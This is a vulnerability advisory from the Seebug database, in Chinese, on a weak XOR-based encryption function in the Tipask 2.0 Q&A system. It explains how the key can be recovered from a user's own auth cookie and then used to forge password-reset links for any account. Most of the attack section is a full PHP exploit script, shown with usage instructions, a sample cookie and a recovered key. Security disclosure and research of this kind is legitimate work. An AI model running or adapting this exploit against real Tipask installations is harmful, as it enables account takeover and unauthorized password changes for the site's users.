Tipask 2.0 加密函数破解导致任意用户密码修改

2013-06-24T00:00:00
ID SSV:96070
Type seebug
Reporter Root
Modified 2013-06-24T00:00:00

Description

简要描述:

Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念,采用MVC构架,系统具有速度快,SEO友好,界面操作简洁明快等特点。 但是Tipask中使用的加密算法存在被破解的可能性,因此将导致包括任意用户密码修改等漏洞的发生。

详细说明:

在核心加密算法strcode函数中:

/* 通用加密解密函数,phpwind、phpcms、dedecms都用此函数 */ function strcode($string, $auth_key, $action= 'ENCODE') { $key = substr(md5($_SERVER[ "HTTP_USER_AGENT"] . $auth_key), 8, 18); $string = $action == 'ENCODE' ? $string : base64_decode($string); $len = strlen($key); $code = ''; for ($i = 0; $i < strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } $code = $action == 'DECODE' ? $code : base64_encode($code); return $code; }

可以看到加密的算法是异或,所以可以用密文和明文异或的方法反过来求出密钥key,如下:

``` function anti_strcode($authstr, $plaintxt) { $key =''; $authstr = urldecode(base64_decode($authstr));
for($i = 0; $i < 18; $i++) { $key .= $authstr[$i] ^ $plaintxt[$i]; }

  return $key;

} ```

key长度为18,因此我们要找一个明文长度超过18而被加密的字串,经过检查,发现cookie中的auth值长度超过了18,因此将针对cookie中的auth进行key猜解。

漏洞证明:

在Tipask的密码重置中,生成密码重置链接的关键字串是由strcode产生,因此可以利用破解后的key来达到任意密码修改功能。

``` <?php printf("------------------------------------------------------- Tipask 2.0 authkey decrypt exploit Author:ztz Blog:http://ztz.fuzzexp.org/ -------------------------------------------------------\n\n" ); if ($argc < 3) { print_r( "Usage: php exp.php uid password auth_cookie\nexample: php exp.php 1 s3cr4t AjAGAAcFVwcHBwYHUA8GU19UBwtTV1AGAQQMUgMEWwpSVg%3D%3D\n\n"); exit(); } $uid = $argv[1]; $password = md5($argv[2]); $auth_cookie = $argv[3]; $str = "$uid \t$password "; $key = anti_strcode("$auth_cookie ", " $str"); print "[+]Key: $key \n"; print "[]Input the username you want to reset: "; fscanf(STDIN, "%s\n", $username); print "[]Encrypting...\n"; $code = urlencode(strcode($username, $key)); print "[+]Reset password here: ?user/resetpass/$code \n"; //function function anti_strcode($authstr, $plaintxt) { $key = ''; $authstr = urldecode(base64_decode($authstr));

   for($i = 0; $i &lt; 18; $i++)
  {
        $key .= $authstr[$i] ^ $plaintxt[$i];
  }
   return $key;

} function strcode($string, $key) { $len = 18; $code = ''; for ($i = 0; $i < strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } $code = base64_encode($code); return $code; } ?> ```

首先申请重置目标用户的密码

<img src="https://images.seebug.org/upload/201306/24153502edb786a6263278bad3b9e91d6a7146d8.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

利用自己的注册用户的cookie解密key:

<img src="https://images.seebug.org/upload/201306/241535296e7d374c50ca119164ca0255e1ceded6.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

当前登录用户cookie中的auth为VjEFWAFbAwtXBlUDV1ZVCAEAUFkDBQFcVFcCUggCAlNVWg%3D%3D 然后进行解密:

<img src="https://images.seebug.org/upload/201306/24153559c7915082ceba061027ccc00d81d1861f.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

获得key为d82ab802de152bf9bb 然后输入想要重置的用户:

<img src="https://images.seebug.org/upload/201306/24153629e2c92cbd666f5135e78e0844c83a6e32.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

获得了重置密码的链接。

<img src="https://images.seebug.org/upload/201306/241536598e8b0e699876842940d605ed88e60b7a.png" alt="6.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201306/24153709630329e8b54f55d138c106e207d92b7d.png" alt="7.png" width="600" onerror="javascript:errimg(this);">